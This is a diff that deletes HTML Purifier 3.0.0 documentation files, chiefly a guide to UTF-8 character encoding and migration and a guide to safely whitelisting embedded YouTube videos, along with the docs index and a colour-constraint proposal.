    In short, if you use XHTML and have gone through the -trouble of adding the XML Declaration, make sure it jives -with your META tags (which should only be present -if served in text/html) and HTTP headers.

    - -

    Inside the process

    - -

    This section is not required reading, -but may answer some of your questions on what's going on in all -this character encoding hocus pocus. If you're interested in -moving on to the next phase, skip this section.

    - -

    A logical question that follows all of our wheeling and dealing -with multiple sources of character encodings is "Why are there -so many options?" To answer this question, we have to turn -back our definition of character encodings: they allow a program -to interpret bytes into human-readable characters.

    - -

    Thus, a chicken-egg problem: a character encoding -is necessary to interpret the -text of a document. A META tag is in the text of a document. -The META tag gives the character encoding. How can we -determine the contents of a META tag, inside the text, -if we don't know it's character encoding? And how do we figure out -the character encoding, if we don't know the contents of the -META tag?

    - -

    Fortunantely for us, the characters we need to write the -META are in ASCII, which is pretty much universal -over every character encoding that is in common use today. So, -all the web-browser has to do is parse all the way down until -it gets to the Content-Type tag, extract the character encoding -tag, then re-parse the document according to this new information.

    - -

    Obviously this is complicated, so browsers prefer the simpler -and more efficient solution: get the character encoding from a -somewhere other than the document itself, i.e. the HTTP headers, -much to the chagrin of HTML authors who can't set these headers.

    - -

    Why UTF-8?

    - -

    So, you've gone through all the trouble of ensuring that your -server and embedded characters all line up properly and are -present. Good job: at -this point, you could quit and rest easy knowing that your pages -are not vulnerable to character encoding style XSS attacks. -However, just as having a character encoding is better than -having no character encoding at all, having UTF-8 as your -character encoding is better than having some other random -character encoding, and the next step is to convert to UTF-8. -But why?

    - -

    Internationalization

    - -

    Many software projects, at one point or another, suddenly realize -that they should be supporting more than one language. Even regular -usage in one language sometimes requires the occasional special character -that, without surprise, is not available in your character set. Sometimes -developers get around this by adding support for multiple encodings: when -using Chinese, use Big5, when using Japanese, use Shift-JIS, when -using Greek, etc. Other times, they use character references with great -zeal.

    - -

    UTF-8, however, obviates the need for any of these complicated -measures. After getting the system to use UTF-8 and adjusting for -sources that are outside the hand of the browser (more on this later), -UTF-8 just works. You can use it for any language, even many languages -at once, you don't have to worry about managing multiple encodings, -you don't have to use those user-unfriendly entities.

    - -

    User-friendly

    - -

    Websites encoded in Latin-1 (ISO-8859-1) which ocassionally need -a special character outside of their scope often will use a character -entity reference to achieve the desired effect. For instance, θ can be -written &theta;, regardless of the character encoding's -support of Greek letters.

    - -

    This works nicely for limited use of special characters, but -say you wanted this sentence of Chinese text: 激光, -這兩個字是甚麼意思. -The ampersand encoded version would look like this:

    - -
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    - -

    Extremely inconvenient for those of us who actually know what -character entities are, totally unintelligible to poor users who don't! -Even the slightly more user-friendly, "intelligible" character -entities like &theta; will leave users who are -uninterested in learning HTML scratching their heads. On the other -hand, if they see θ in an edit box, they'll know that it's a -special character, and treat it accordingly, even if they don't know -how to write that character themselves.

    - -

    Wikipedia is a great case study for -an application that originally used ISO-8859-1 but switched to UTF-8 -when it became far to cumbersome to support foreign languages. Bots -will now actually go through articles and convert character entities -to their corresponding real characters for the sake of user-friendliness -and searchability. See -Meta's -page on special characters for more details. -

    - -

    Forms

    - -

    While we're on the tack of users, how do non-UTF-8 web forms deal -with characters that our outside of their character set? Rather than -discuss what UTF-8 does right, we're going to show what could go wrong -if you didn't use UTF-8 and people tried to use characters outside -of your character encoding.

    - -

    The troubles are large, extensive, and extremely difficult to fix (or, -at least, difficult enough that if you had the time and resources to invest -in doing the fix, you would be probably better off migrating to UTF-8). -There are two types of form submission: application/x-www-form-urlencoded -which is used for GET and by default for POST, and multipart/form-data -which may be used by POST, and is required when you want to upload -files.

    - -

    The following is a summarization of notes from - -FORM submission and i18n. That document contains lots -of useful information, but is written in a rambly manner, so -here I try to get right to the point. (Note: the original has -disappeared off the web, so I am linking to the Web Archive copy.)

    - -

    application/x-www-form-urlencoded

    - -

    This is the Content-Type that GET requests must use, and POST requests -use by default. It involves the ubiquituous percent encoding format that -looks something like: %C3%86. There is no official way of -determining the character encoding of such a request, since the percent -encoding operates on a byte level, so it is usually assumed that it -is the same as the encoding the page containing the form was submitted -in. You'll run into very few problems if you only use characters in -the character encoding you chose.

    - -

    However, once you start adding characters outside of your encoding -(and this is a lot more common than you may think: take curly -"smart" quotes from Microsoft as an example), -a whole manner of strange things start to happen. Depending on the -browser you're using, they might:

    - -
      -
    • Replace the unsupported characters with useless question marks,
    • -
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • -
    • Replace the character with a character entity reference, or
    • -
    • Send it anyway as a different character encoding mixed in - with the original encoding (usually Windows-1252 rather than - iso-8859-1 or UTF-8 interspersed in 8-bit)
    • -
    - -

    To properly guard against these behaviors, you'd have to sniff out -the browser agent, compile a database of different behaviors, and -take appropriate conversion action against the string (disregarding -a spate of extremely mysterious, random and devastating bugs Internet -Explorer manifests every once in a while). Or you could -use UTF-8 and rest easy knowing that none of this could possibly happen -since UTF-8 supports every character.

    - -

    multipart/form-data

    - -

    Multipart form submission takes away a lot of the ambiguity -that percent-encoding had: the server now can explicitly ask for -certain encodings, and the client can explicitly tell the server -during the form submission what encoding the fields are in.

    - -

    There are two ways you go with this functionality: leave it -unset and have the browser send in the same encoding as the page, -or set it to UTF-8 and then do another conversion server-side. -Each method has deficiencies, especially the former.

    - -

    If you tell the browser to send the form in the same encoding as -the page, you still have the trouble of what to do with characters -that are outside of the character encoding's range. The behavior, once -again, varies: Firefox 2.0 converts them to character entity references -while Internet Explorer 7.0 mangles them beyond intelligibility. For -serious internationalization purposes, this is not an option.

    - -

    The other possibility is to set Accept-Encoding to UTF-8, which -begs the question: Why aren't you using UTF-8 for everything then? -This route is more palatable, but there's a notable caveat: your data -will come in as UTF-8, so you will have to explicitly convert it into -your favored local character encoding.

    - -

    I object to this approach on idealogical grounds: you're -digging yourself deeper into -the hole when you could have been converting to UTF-8 -instead. And, of course, you can't use this method for GET requests.

    - -

    Well supported

    - -

    Almost every modern browser in the wild today has full UTF-8 and Unicode -support: the number of troublesome cases can be counted with the -fingers of one hand, and these browsers usually have trouble with -other character encodings too. Problems users usually encounter stem -from the lack of appropriate fonts to display the characters (once -again, this applies to all character encodings and HTML entities) or -Internet Explorer's lack of intelligent font picking (which can be -worked around).

    - -

    We will go into more detail about how to deal with edge cases in -the browser world in the Migration section, but rest assured that -converting to UTF-8, if done correctly, will not result in users -hounding you about broken pages.

    - -

    HTML Purifier

    - -

    And finally, we get to HTML Purifier. HTML Purifier is built to -deal with UTF-8: any indications otherwise are the result of an -encoder that converts text from your preferred encoding to UTF-8, and -back again. HTML Purifier never touches anything else, and leaves -it up to the module iconv to do the dirty work.

    - -

    This approach, however, is not perfect. iconv is blithely unaware -of HTML character entities. HTML Purifier, in order to -protect against sophisticated escaping schemes, normalizes all character -and numeric entitie references before processing the text. This leads to -one important ramification:

    - -

    Any character that is not supported by the target character -set, regardless of whether or not it is in the form of a character -entity reference or a raw character, will be silently ignored.

    - -

    Example of this principle at work: say you have &theta; -in your HTML, but the output is in Latin-1 (which, understandably, -does not understand Greek), the following process will occur (assuming you've -set the encoding correctly using %Core.Encoding):

    - -
      -
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 - (note that theta is preserved here since it doesn't actually use - any non-ASCII characters): &theta;
    • -
    • The EntityParser will transform all named and numeric - character entities to their corresponding raw UTF-8 equivalents: - θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder now transforms the text back from UTF-8 - to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it - will be either ignored or replaced with a question mark: - ?
    • -
    - -

    This behaviour is quite unsatisfactory. It is a deal-breaker for -international applications, and it can be mildly annoying for the provincial -soul who occasionally needs a special character. Since 1.4.0, HTML -Purifier has provided a slightly more palatable workaround using -%Core.EscapeNonASCIICharacters. The process now looks like:

    - -
      -
    • The Encoder transforms encoding to UTF-8: &theta;
    • -
    • The EntityParser transforms entities: θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder replaces all non-ASCII characters - with numeric entity reference: &#952;
    • -
    • For good measure, Encoder transforms encoding back to - original (which is strictly unnecessary for 99% of encodings - out there): &#952; (remember, it's all ASCII!)
    • -
    - -

    ...which means that this is only good for an occasional foray into -the land of Unicode characters, and is totally unacceptable for Chinese -or Japanese texts. The even bigger kicker is that, supposing the -input encoding was actually ISO-8859-7, which does support -theta, the character would get converted into a character entity reference -anyway! (The Encoder does not discriminate).

    - -

    The current functionality is about where HTML Purifier will be for -the rest of eternity. HTML Purifier could attempt to preserve the original -form of the character references so that they could be substituted back in, only the -DOM extension kills them off irreversibly. HTML Purifier could also attempt -to be smart and only convert non-ASCII characters that weren't supported -by the target encoding, but that would require reimplementing iconv -with HTML awareness, something I will not do.

    - -

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm -not being sarcastic here: some people could care less about other languages).

    - -

    Migrate to UTF-8

    - -

    So, you've decided to bite the bullet, and want to migrate to UTF-8. -Note that this is not for the faint-hearted, and you should expect -the process to take longer than you think it will take.

    - -

    The general idea is that you convert all existing text to UTF-8, -and then you set all the headers and META tags we discussed earlier -to UTF-8. There are many ways going about doing this: you could -write a conversion script that runs through the database and re-encodes -everything as UTF-8 or you could do the conversion on the fly when someone -reads the page. The details depend on your system, but I will cover -some of the more subtle points of migration that may trip you up.

    - -

    Configuring your database

    - -

    Most modern databases, the most prominent open-source ones being MySQL -4.1+ and PostgreSQL, support character encodings. If you're switching -to UTF-8, logically speaking, you'd want to make sure your database -knows about the change too. There are some caveats though:

    - -

    Legit method

    - -

    Standardization in terms of SQL syntax for specifying character -encodings is notoriously spotty. Refer to your respective database's -documentation on how to do this properly.

    - -

    For MySQL, ALTER will magically perform the -character encoding conversion for you. However, you have -to make sure that the text inside the column is what is says it is: -if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle -the text when you try to convert it to UTF-8. You'll have to convert -it to a binary field, convert it to a Shift-JIS field (the real encoding), -and then finally to UTF-8. Many a website had pages irreversibly mangled -because they didn't realize that they'd been deluding themselves about -the character encoding all along, don't become the next victim.

    - -

    For PostgreSQL, there appears to be no direct way to change the -encoding of a database (as of 8.2). You will have to dump the data, and then reimport -it into a new table. Make sure that your client encoding is set properly: -this is how PostgreSQL knows to perform an encoding conversion.

    - -

    Many times, you will be also asked about the "collation" of -the new column. Collation is how a DBMS sorts text, like ordering -B, C and A into A, B and C (the problem gets surprisingly complicated -when you get to languages like Thai and Japanese). If in doubt, -going with the default setting is usually a safe bet.

    - -

    Once the conversion is all said and done, you still have to remember -to set the client encoding (your encoding) properly on each database -connection using SET NAMES (which is standard SQL and is -usually supported).

    - -

    Binary

    - -

    Due to the abovementioned compatibility issues, a more interoperable -way of storing UTF-8 text is to stuff it in a binary datatype. -CHAR becomes BINARY, VARCHAR becomes -VARBINARY and TEXT becomes BLOB. -Doing so can save you some huge headaches:

    - -
      -
    • The syntax for binary data types is very portable,
    • -
    • MySQL 4.0 has no support for character encodings, so - if you want to support it you have to use binary,
    • -
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, - which represent characters beyond the basic multilingual - plane, and
    • -
    • You will never have to worry about your DBMS being too smart - and attempting to convert your text when you don't want it to.
    • -
    - -

    MediaWiki, a very prominent international application, uses binary fields -for storing their data because of point three.

    - -

    There are drawbacks, of course:

    - -
      -
    • Database tools like PHPMyAdmin won't be able to offer you inline - text editing, since it is declared as binary,
    • -
    • It's not semantically correct: it's really text not binary - (lying to the database),
    • -
    • Unless you use the not-very-portable wizardry mentioned above, - you have to change the encoding yourself (usually, you'd do - it on the fly), and
    • -
    • You will not have collation.
    • -
    - -

    Choose based on your circumstances.

    - -

    Text editor

    - -

    For more flat-file oriented systems, you will often be tasked with -converting reams of existing text and HTML files into UTF-8, as well as -making sure that all new files uploaded are properly encoded. Once again, -I can only point vaguely in the right direction for converting your -existing files: make sure you backup, make sure you use -iconv(), and -make sure you know what the original character encoding of the files -is (or are, depending on the tidiness of your system).

    - -

    However, I can proffer more specific advice on the subject of -text editors. Many text editors have notoriously spotty Unicode support. -To find out how your editor is doing, you can check out this list -or Wikipedia's list. -I personally use Notepad++, which works like a charm when it comes to UTF-8. -Usually, you will have to explicitly tell the editor through some dialogue -(usually Save as or Format) what encoding you want it to use. An editor -will often offer "Unicode" as a method of saving, which is -ambiguous. Make sure you know whether or not they really mean UTF-8 -or UTF-16 (which is another flavor of Unicode).

    - -

    The two things to look out for are whether or not the editor -supports font mixing (multiple -fonts in one document) and whether or not it adds a BOM. -Font mixing is important because fonts rarely have support for every -language known to mankind: in order to be flexible, an editor must -be able to take a little from here and a little from there, otherwise -all your Chinese characters will come as nice boxes. We'll discuss -BOM below.

    - -

    Byte Order Mark (headers already sent!)

    - -

    The BOM, or Byte -Order Mark, is a magical, invisible character placed at -the beginning of UTF-8 files to tell people what the encoding is and -what the endianness of the text is. It is also unnecessary.

    - -

    Because it's invisible, it often -catches people by surprise when it starts doing things it shouldn't -be doing. For example, this PHP file:

    - -
    BOM<?php
    -header('Location: index.php');
    -?>
    - -

    ...will fail with the all too familiar Headers already sent -PHP error. And because the BOM is invisible, this culprit will go unnoticed. -My suggestion is to only use ASCII in PHP pages, but if you must, make -sure the page is saved WITHOUT the BOM.

    - -
    -

    The headers the error is referring to are HTTP headers, - which are sent to the browser before any HTML to tell it various - information. The moment any regular text (and yes, a BOM counts as - ordinary text) is output, the headers must be sent, and you are - not allowed to send anymore. Thus, the error.

    -
    - -

    If you are reading in text files to insert into the middle of another -page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte -sequence for BOM "\xEF\xBB\xBF" before inserting it in, -via:

    - -
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    - -

    Fonts

    - -

    Generally speaking, people who are having trouble with fonts fall -into two categories:

    - -
      -
    • Those who want to -use an extremely obscure language for which there is very little -support even among native speakers of the language, and
    • -
    • Those where the primary language of the text is -well-supported but there are occasional characters -that aren't supported.
    • -
    - -

    Yes, there's always a chance where an English user happens across -a Sinhalese website and doesn't have the right font. But an English user -who happens not to have the right fonts probably has no business reading Sinhalese -anyway. So we'll deal with the other two edge cases.

    - -

    Obscure scripts

    - -

    If you run a Bengali website, you may get comments from users who -would like to read your website but get heaps of question marks or -other meaningless characters. Fixing this problem requires the -installation of a font or language pack which is often highly -dependent on what the language is. Here is an example -of such a help file for the Bengali language, I am sure there are -others out there too. You just have to point users to the appropriate -help file.

    - -

    Occasional use

    - -

    A prime example of when you'll see some very obscure Unicode -characters embedded in what otherwise would be very bland ASCII are -letters of the -International -Phonetic Alphabet (IPA), use to designate pronounciations in a very standard -manner (you probably see them all the time in your dictionary). Your -average font probably won't have support for all of the IPA characters -like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). -So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox -and Internet Explorer 7 will borrow glyphs from other fonts in order -to make sure that all the characters display properly.

    - -

    But what happens when the browser isn't smart and happens to be the -most widely used browser in the entire world? Microsoft IE 6 -is not smart enough to borrow from other fonts when a character isn't -present, so more often than not you'll be slapped with a nice big �. -To get things to work, MSIE 6 needs a little nudge. You could configure it -to use a different font to render the text, but you can acheive the same -effect by selectively changing the font for blocks of special characters -to known good Unicode fonts.

    - -

    Fortunantely, the folks over at Wikipedia have already done all the -heavy lifting for you. Get the CSS from the horses mouth here: -Common.css, -and search for ".IPA" There are also a smattering of -other classes you can use for other purposes, check out -this page -for more details. For you lazy ones, this should work:

    - -
    .Unicode {
    -        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    -            "Chrysanthi Unicode", "Bitstream Cyberbit",
    -            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    -            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    -            "Lucida Sans Unicode";
    -        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    -}
    - -

    The standard usage goes along the lines of <span class="Unicode">Crazy -Unicode stuff here</span>. Characters in the -Windows Glyph List -usually don't need to be fixed, but for anything else you probably -want to play it safe. Unless, of course, you don't care about IE6 -users.

    - -

    Dealing with variable width in functions

    - -

    When people claim that PHP6 will solve all our Unicode problems, they're -misinformed. It will not fix any of the abovementioned troubles. It will, -however, fix the problem we are about to discuss: processing UTF-8 text -in PHP.

    - -

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few -notable exceptions). Sometimes, this will cause problems, other times, -this won't. So far, we've avoided discussing the architecture of -UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, -and yes, it is variable width. Other traits:

    - -
      -
    • Every character's byte sequence is unique and will never be found - inside the byte sequence of another character,
    • -
    • UTF-8 may use up to four bytes to encode a character,
    • -
    • UTF-8 text must be checked for well-formedness,
    • -
    • Pure ASCII is also valid UTF-8, and
    • -
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • -
    - -

    Each of these traits affect different domains of text processing -in different ways. It is beyond the scope of this document to explain -what precisely these implications are. PHPWact provides -a very good reference document -on what to expect from each function, although coverage is spotty in -some areas. Their more general notes on -character sets -are also worth looking at for information on UTF-8. Some rules of thumb -when dealing with Unicode text:

    - -
      -
    • Do not EVER use functions that:
        -
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • -
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • -
    • -
    • Think twice before using functions that:
        -
      • ...count characters (strlen will return bytes, not characters; - str_split and word_wrap may corrupt)
      • -
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • -
      • ...do very complex string processing (*printf)
      • -
    • -
    - -

    Note: this list applies to UTF-8 encoded text only: if you have -a string that you are 100% sure is ASCII, be my guest and use -strtolower (HTML Purifier uses this function.)

    - -

    Regardless, always think in bytes, not characters. If you use strpos() -to find the position of a character, it will be in bytes, but this -usually won't matter since substr() also operates with byte indices!

    - -

    You'll also need to make sure your UTF-8 is well-formed and will -probably need replacements for some of these functions. I recommend -using Harry Fuecks' PHP -UTF-8 library, rather than use mb_string directly. HTML Purifier -also defines a few useful UTF-8 compatible functions: check out -Encoder.php in the /library/HTMLPurifier/ -directory.

    - - - -

    Well, that's it. Hopefully this document has served as a very -practical springboard into knowledge of how UTF-8 works. You may have -decided that you don't want to migrate yet: that's fine, just know -what will happen to your output and what bug reports you may recieve.

    - -

    Many other developers have already discussed the subject of Unicode, -UTF-8 and internationalization, and I would like to defer to them for -a more in-depth look into character sets and encodings.

    - - - - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-youtube.html b/lib/htmlpurifier-3.0.0/docs/enduser-youtube.html deleted file mode 100644 index 2437b48..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-youtube.html +++ /dev/null @@ -1,152 +0,0 @@ - - - - - - - -Embedding YouTube Videos - HTML Purifier - - - -

    Embedding YouTube Videos

    -
    ...as well as other dangerous active content
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when -they see a neat little embedded video player on their websites that can play -the latest clips from their documentary "Fido and the Bones of Spring". -All joking aside, the ability to embed YouTube videos or other active -content in their pages is something that a lot of people like.

    - -

    This is a bad idea. The moment you embed anything untrusted, -you will definitely be slammed by a manner of nasties that can be -embedded in things from your run of the mill Flash movie to -Quicktime movies. -Even img tags, which HTML Purifier allows by default, can be -dangerous. Be distrustful of anything that tells a browser to load content -from another website automatically.

    - -

    Luckily for us, however, whitelisting saves the day. Sure, letting users -include any old random flash file could be dangerous, but if it's -from a specific website, it probably is okay. If no amount of pleading will -convince the people upstairs that they should just settle with just linking -to their movies, you may find this technique very useful.

    - -

    Looking in

    - -

    Below is custom code that allows users to embed -YouTube videos. This is not favoritism: this trick can easily be adapted for -other forms of embeddable content.

    - -

    Usually, websites like YouTube give us boilerplate code that you can insert -into your documents. YouTube's code goes like this:

    - -
    -<object width="425" height="350">
    -  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    -  <param name="wmode" value="transparent" />
    -  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    -         type="application/x-shockwave-flash"
    -         wmode="transparent" width="425" height="350" />
    -</object>
    -
    - -

    There are two things to note about this code:

    - -
      -
    1. <embed> is not recognized by W3C, so if you want - standards-compliant code, you'll have to get rid of it.
    2. -
    3. The code is exactly the same for all instances, except for the - identifier AyPzM5WK8ys which tells us which movie file - to retrieve.
    4. -
    - -

    What point 2 means is that if we have code like <span -class="embed-youtube">AyPzM5WK8ys</span> your -application can reconstruct the full object from this small snippet that -passes through HTML Purifier unharmed. -Show me the code!

    - -

    And the corresponding usage:

    - -
    <?php
    -    // assuming $purifier is an instance of HTMLPurifier
    -    require_once 'HTMLPurifier/Filter/YouTube.php';
    -    $purifier->addFilter(new HTMLPurifier_Filter_YouTube());
    -?>
    - -

    There is a bit going in the two code snippets, so let's explain.

    - -
      -
    1. This is a Filter object, which intercepts the HTML that is - coming into and out of the purifier. You can add as many - filter objects as you like. preFilter() - processes the code before it gets purified, and postFilter() - processes the code afterwards. So, we'll use preFilter() to - replace the object tag with a span, and postFilter() - to restore it.
    2. -
    3. The first preg_replace call replaces any YouTube code users may have - embedded into the benign span tag. Span is used because it is inline, - and objects are inline too. We are very careful to be extremely - restrictive on what goes inside the span tag, as if an errant code - gets in there it could get messy.
    4. -
    5. The HTML is then purified as usual.
    6. -
    7. Then, another preg_replace replaces the span tag with a fully fledged - object. Note that the embed is removed, and, in its place, a data - attribute was added to the object. This makes the tag standards - compliant! It also breaks Internet Explorer, so we add in a bit of - conditional comments with the old embed code to make it work again. - It's all quite convoluted but works.
    8. -
    - -

    Warning

    - -

    There are a number of possible problems with the code above, depending -on how you look at it.

    - -

    Cannot change width and height

    - -

    The width and height of the final YouTube movie cannot be adjusted. This -is because I am lazy. If you really insist on letting users change the size -of the movie, what you need to do is package up the attributes inside the -span tag (along with the movie ID). It gets complicated though: a malicious -user can specify an outrageously large height and width and attempt to crash -the user's operating system/browser. You need to either cap it by limiting -the amount of digits allowed in the regex or using a callback to check the -number.

    - -

    Trusts media's host's security

    - -

    By allowing this code onto our website, we are trusting that YouTube has -tech-savvy enough people not to allow their users to inject malicious -code into the Flash files. An exploit on YouTube means an exploit on your -site. Even though YouTube is run by the reputable Google, it -doesn't -mean they are -invulnerable. -You're putting a certain measure of the job on an external provider (just as -you have by entrusting your user input to HTML Purifier), and -it is important that you are cognizant of the risk.

    - -

    Poorly written adaptations compromise security

    - -

    This should go without saying, but if you're going to adapt this code -for Google Video or the like, make sure you do it right. It's -extremely easy to allow a character too many in postFilter() and -suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML -Purifier may be well written, but it cannot guard against vulnerabilities -introduced after it has finished.

    - -

    Help out!

    - -

    If you write a filter for your favorite video destination (or anything -like that, for that matter), send it over and it might get included -with the core!

    - - - diff --git a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-lat1.ent b/lib/htmlpurifier-3.0.0/docs/entities/xhtml-lat1.ent deleted file mode 100644 index ffee223..0000000 --- a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-lat1.ent +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-special.ent b/lib/htmlpurifier-3.0.0/docs/entities/xhtml-special.ent deleted file mode 100644 index ca358b2..0000000 --- a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-special.ent +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-symbol.ent b/lib/htmlpurifier-3.0.0/docs/entities/xhtml-symbol.ent deleted file mode 100644 index 63c2abf..0000000 --- a/lib/htmlpurifier-3.0.0/docs/entities/xhtml-symbol.ent +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/lib/htmlpurifier-3.0.0/docs/examples/basic.php b/lib/htmlpurifier-3.0.0/docs/examples/basic.php deleted file mode 100644 index 72739b6..0000000 --- a/lib/htmlpurifier-3.0.0/docs/examples/basic.php +++ /dev/null @@ -1,22 +0,0 @@ -set('Core', 'Encoding', 'UTF-8'); // replace with your encoding -$config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype - -$purifier = new HTMLPurifier($config); - -// untrusted input HTML -$html = 'Simple and short'; - -$pure_html = $purifier->purify($html); - -echo '
    ' . htmlspecialchars($pure_html) . '
    '; - diff --git a/lib/htmlpurifier-3.0.0/docs/fixquotes.htc b/lib/htmlpurifier-3.0.0/docs/fixquotes.htc deleted file mode 100644 index bf2e784..0000000 --- a/lib/htmlpurifier-3.0.0/docs/fixquotes.htc +++ /dev/null @@ -1,6 +0,0 @@ - - diff --git a/lib/htmlpurifier-3.0.0/docs/index.html b/lib/htmlpurifier-3.0.0/docs/index.html deleted file mode 100644 index cd84d97..0000000 --- a/lib/htmlpurifier-3.0.0/docs/index.html +++ /dev/null @@ -1,168 +0,0 @@ - - - - - - - -Documentation - HTML Purifier - - - - -

    Documentation

    - -

    HTML Purifier has documentation for all types of people. -Here is an index of all of them.

    - -

    End-user

    -

    End-user documentation that contains articles, tutorials and useful -information for casual developers using HTML Purifier.

    - -
    - -
    IDs
    -
    Explains various methods for allowing IDs in documents safely.
    - -
    Embedding YouTube videos
    -
    Explains how to safely allow the embedding of flash from trusted sites.
    - -
    Speeding up HTML Purifier
    -
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    - -
    UTF-8: The Secret of Character Encoding
    -
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    - -
    Tidy
    -
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    - -
    Customize
    -
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    - -
    URI Filters
    -
    Tutorial for creating custom URI filters.
    - -
    - -

    Development

    -

    Developer documentation detailing code issues, roadmaps and project -conventions.

    - -
    - -
    Implementation Progress
    -
    Tables detailing HTML element and CSS property implementation coverage.
    - -
    Naming Conventions
    -
    Defines class naming conventions.
    - -
    Optimization
    -
    Discusses possible methods of optimizing HTML Purifier.
    - -
    Advanced API
    -
    Functional specification for HTML Purifier's advanced API for defining -custom filtering behavior.
    - -
    - -

    Proposals

    -

    Proposed features, as well as the associated rambling to get a clear -objective in place before attempted implementation.

    - -
    -
    Colors
    -
    Proposal to allow for color constraints.
    -
    - -

    Reference

    -

    Miscellaneous essays, research pieces and other reference type material -that may not directly discuss HTML Purifier.

    - -
    -
    DevNetwork Credits
    -
    Credits and links to DevNetwork forum topics.
    -
    - -

    Internal memos

    - -

    Plaintext documents that are more for use by active developers of -the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    - -
    $Id: index.html 1348 2007-08-02 23:34:30Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/proposal-colors.html b/lib/htmlpurifier-3.0.0/docs/proposal-colors.html deleted file mode 100644 index 7e847eb..0000000 --- a/lib/htmlpurifier-3.0.0/docs/proposal-colors.html +++ /dev/null @@ -1,48 +0,0 @@ - - - - - - - -Proposal: Colors - HTML Purifier - - - -

    Colors

    -
    Hammering some sense into those color-blind newbies
    - -
    Filed under Proposals
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Your website probably has a color-scheme. -Green on white, -purple on yellow, -whatever. When you give users the ability to style their content, you may -want them to keep in line with your styling. If you're website is all -about light colors, you don't want a user to come in and vandalize your -page with a deep maroon.

    - -

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    - -

    What if the user could constrain the colors specified in inline styles? You -are only allowed to use these shades of dark green for text and these shades -of light yellow for the background. At the very least, you could ensure -that we did not have pale yellow on white text.

    - -

    Implementation issues

    - -
      -
    1. Requires the color attribute definition to know, currently, what the text -and background colors are. This becomes difficult when classes are thrown -into the mix.
    2. -
    3. The user still has to define the permissible colors, how does one do -something like that?
    4. -
    - -
    $Id: proposal-colors.html 992 2007-04-22 22:22:48Z Edward $
